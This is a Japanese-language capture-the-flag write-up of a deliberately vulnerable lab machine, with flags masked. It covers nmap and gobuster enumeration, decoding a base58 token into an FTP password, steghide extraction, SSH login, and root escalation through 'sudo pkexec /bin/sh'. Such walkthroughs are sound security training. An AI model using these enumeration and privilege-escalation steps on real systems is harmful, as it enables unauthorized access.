一部を■で隠しています。
第一段階:ユーザーシェルを奪う
とりあえずいつものやつをやる。
$ export IP=[your IP]
$ nmap -sC -sV $IP
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
80/tcp open http Apache httpd
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37269/udp status
| 100024 1 45910/tcp status
| 100024 1 49953/udp6 status
|_ 100024 1 52187/tcp6 status
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
んー特にないか…でもこれをやれと問題に書いてあるからな…辞書を変えてみる。
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/big.txt
http://$IP/island (Status: 301)
きたきた。
for i in range(1000, 10000):
print(i)
Hintを見ると数値4桁っぽいので、こんなやつで適当に辞書を作ってスキャンする。
$ gobuster dir -e -u http://$IP/island -w dic.txt
http://$IP/island/2100 (Status: 301)
ok.
動画はアクセスできないが、ソースを見ると、<!-- you can avail your .ticket here but how? -->
とある。
postfixを付けてgobusterする。
$ gobuster dir -e -u http://$IP/island/2100 -w /usr/share/dirb/wordlists/big.txt -x .ticket
出てこないし…
ちょっと心が折れてWriteupへ
みんな別の辞書使ってるじゃん。
dirbusterを入れて辞書を貰ってくる。
$ gobuster dir -e -u http://$IP/island/2100 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .ticket
http://$IP/island/2100/■■■■■■■■■■.ticket (Status: 200)
あーやっと出てきました。
This is just a token to get into Queen's Gambit(Ship)
■■■■■■■■■■
ftpパスワードかな?
まずはユーザー名を特定しよう。
今まで分かっている所からユーザー名っぽいものを探すと、/island/
にあるCode Wordが使えそう。
使ってみるとパスワードが要求されるので、これでいい。
パスワードはさっきのアレだなと思って使うと…使えない。
tokenとして紹介されているので、なんかエンコードされているんだろうなと思って色々試すがダメ。
心が折れてWriteupへ
base58エンコードされているのでデコードするとパスワードになるらしい。
ちゃんとデコードできているような出力ではないのだが、使ってみると通る。
もっとわかりやすくデコードできてる感じにしてよ…と思ったが、答えを提出すれば確かめられるか…
まあ、それはともかく、中身を見てみる。
PS C:\Users\ctf> ftp $IP
ユーザー ($IP:(none)): vigilante
331 Please specify the password.
パスワード:
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
Leave_me_alone.png
Queen's_Gambit.png
aa.jpg
226 Directory send OK.
ftp: 51 バイトが受信されました 0.00秒 12.75KB/秒。
ftp> get Leave_me_alone.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
226 Transfer complete.
ftp: 511720 バイトが受信されました 8.05秒 63.57KB/秒。
ftp> get Queen's_Gambit.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
226 Transfer complete.
ftp: 549924 バイトが受信されました 38.30秒 14.36KB/秒。
ftp> get aa.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
226 Transfer complete.
ftp: 191026 バイトが受信されました 10.66秒 17.92KB/秒。
とりあえず全部持ってきて中を見ると、Leave_me_alone.pngが開けない。
バイナリエディタで見てみるとpngのヘッダーではない。
書き換えて正しいヘッダーにしよう。
先頭をいじりながら開けるか試すと、以下のようになった。
これでパスワードが得られるが、どこで使えばいい…?
もちろん、aa.jpgが怪しいが…
色々試すとsteghideで抜き出せる。
$ steghide extract -sf aa.jpg
Enter passphrase:
wrote extracted data to "ss.zip".
この中に答えにつながるファイルが見つかった。
よし、やっとSSHや。
ftpで使ったユーザーでやってみるとログインできない。
そういえばftpで探索しているときにもう一人sladeというユーザーがいたことを思い出す。
これでログインができる。
slade@LianYu:~$ ls -la
total 32
drwx------ 2 slade slade 4096 May 1 2020 .
drwxr-xr-x 4 root root 4096 May 1 2020 ..
-rw------- 1 slade slade 22 May 1 2020 .bash_history
-rw-r--r-- 1 slade slade 220 May 1 2020 .bash_logout
-rw-r--r-- 1 slade slade 3515 May 1 2020 .bashrc
-r-------- 1 slade slade 77 May 1 2020 .Important
-rw-r--r-- 1 slade slade 675 May 1 2020 .profile
-r-------- 1 slade slade 63 May 1 2020 user.txt
slade@LianYu:~$ cat user.txt
■■■■■■■■■■■■■■■■■■■■■■■■
--Felicity Smoak
第二段階:権限昇格
色々試すとsudoで行けそう。
pkexec | GTFOBinsをやってみよう。
slade@LianYu:~$ sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User slade may run the following commands on LianYu:
(root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ sudo pkexec /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
total 28
drwx------ 3 root root 4096 May 1 2020 .
drwxr-xr-x 23 root root 4096 May 1 2020 ..
-rw------- 1 root root 22 May 1 2020 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 2 root root 4096 May 1 2020 .gnupg
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r--r-- 1 root root 340 May 1 2020 root.txt
# cat root.txt
Mission accomplished
You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
--DEATHSTROKE
Let me know your comments about this machine :)
I will be available @twitter @User6825